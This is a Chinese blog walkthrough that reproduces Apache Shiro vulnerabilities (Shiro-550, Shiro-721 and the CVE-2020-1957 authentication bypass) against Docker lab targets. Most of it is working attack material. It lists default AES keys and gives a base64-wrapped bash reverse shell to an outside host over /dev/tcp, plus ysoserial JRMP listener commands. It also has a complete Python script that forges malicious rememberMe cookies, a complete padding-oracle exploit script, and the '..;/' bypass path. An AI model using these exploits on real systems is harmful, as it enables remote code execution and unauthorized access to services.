首页 > 其他分享 >Shiro 漏洞复现

Shiro 漏洞复现

时间:2024-11-26 12:00:01浏览次数:5  
标签:self sys 漏洞 cookie 复现 shiro import Shiro

Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。

shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

image-20241125160353922

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。

Shiro-550(CVE-2016-4437反序列化漏洞)

	shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设
	影响版本:Apachee Shiro <= 1.2.4
  • 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
  • 使用docker搭建环境:
# 拉取镜像
docker pull medicean/vulapps:s_shiro_1
# 启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
image-20241125224734694
  1. 检测是否存在默认的key
# 工具
https://github.com/StarkChristmas/Shiro_exploit

# 使用命令
python shiro_exploit.py -u http://靶机:端口
  • 这里得到AES秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==
image-20241125225319444
  1. 确认反弹shell语句(在java中要base64编码)
# 原本的语句
bash -i >& /dev/tcp/8.8.8.8/6666 0>&1

# base64编码(中间要去空格)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令

 # `ysoserial下载
 https://github.com/frohoff/ysoserial/releases/tag/v0.0. 
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
image-20241125230300215
  1. 准备一个脚本shiro_poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    return base64.b64encode(iv + encryptor.encrypt(file_body))


if __name__ == '__main__':
    if not sys.argv[1:]:
        print(f'Usage: {sys.argv[0]} <payload>')
        sys.exit(1)
    payload = encode_rememberme(sys.argv[1])
    print("[+] Payload: ")
    print("rememberMe={0}".format(payload.decode()))
  • 脚本生成payload,端口为先前监听的9999
python shiro_poc_test.py 攻击机ip:9999
image-20241125232139668
  1. bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)
image-20241125232230520
  1. 成功得到shell
image-20241125232539978

Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)

环境搭建

git clone https://github.com/inspiringz/Shiro-721.git

cd Shiro-721/Docker

docker build -t shiro-721 .

docker run -p 8080:8080 -d shiro-721

漏洞利用

  1. 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)
image-20241126112546319
  • 如果登录成功则不会设置deleteMe的cookie
image-20241126112411015
  • 如果失败时会设置deleteMe的cookie
image-20241126112450186
  1. 反序列化工具ysoserial生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
  1. 创建一个python脚本遍历key,命名为exp.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import logging


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie.decode('utf-8')
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        # logging.debug(response.headers)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    if not sys.argv[3:]:
        print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

  1. 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload
  • 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换 AES-CBCAES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示

Apache SShiro认证绕过漏洞(CVE-2020-1957)

  1. 访问http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面
image-20241126114611712
  1. 访问http://your-ip:8080/xxx/..;/admin/可以绕过校验
image-20241126114710327

标签:self,sys,漏洞,cookie,复现,shiro,import,Shiro
From: https://www.cnblogs.com/left-shoulder/p/18569871

相关文章

  • 通达OA down存在信息泄露漏洞
    免责声明:本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在使用本......
  • 【论文复现】多模态COGMEN详解
    ......
  • 身份验证绕过漏洞简析
    在目前可得的描述中可以得出这个漏洞主要是因为使用PKIAuthenticationPlugin的Solr实例(在使用Solr身份验证时默认启用)容易受到身份验证绕过的影响,下来着重分析绕过数据的传递过程前言最近solr爆出了新的身份绕过漏洞,工作中要对该漏洞进行复现,正好将分析的过程记录一......
  • VulnHub-Sick0s1.1解法二shellshock漏洞
    免责声明本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的......
  • pikachu平台XXE漏洞通关教程详解
    声明!学习视频来自B站up主泷羽sec有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!工具在网盘,自取通过网盘分享的文件:phpstudy链......
  • 【网络安全渗透测试零基础入门】之cve漏洞实战案例解析(非常详细)
    一、前言这是我给粉丝盆友们整理的网络安全渗透测试入门阶段文件包含渗透与防御教程本文主要讲解漏洞丨实例分析cve2012-0158喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。一、漏洞简介MicrosoftOffice2003sp3是2007年9月18日由微软公司创作的一个办......
  • 云原生周刊:K8s 严重漏洞
    开源项目推荐KitOpsKitOps是一款开源的DevOps工具,专为AI/ML项目的全生命周期管理而设计,通过将模型、数据集、代码和配置打包并版本化为符合OCI(开放容器标准)的工件,简化了AI/ML工作流的部署与管理。KitOps支持统一打包,将AI/ML模型、数据集和配置封装为便携式工件,同时提......
  • FastJson漏洞复现
    FastJson漏洞复现环境:vulhub/fastjson Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。 它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。漏洞发现出现json格式的地方,就可能使用FastJsson1.通过报错页面可......
  • Shiro权限控制入门
    本文分享自天翼云开发者社区《Shiro权限控制入门》,作者:l****nShiro权限控制是一款优秀的Java安全框架,可用于对Java应用程序进行身份验证、授权、加密和会话管理等功能。本文将简要介绍Shiro权限控制框架的几个关键概念和使用方法。1.认证Shiro的认证功能通常是用户登录系统的第......
  • 【PHP漏洞】PHPMyAdmin写shell的几种方式
    phpMyAdmin是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。查看phpmyadmin版本:/phpMyAdmin/README在高版本中无法写入一句话mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出查看该......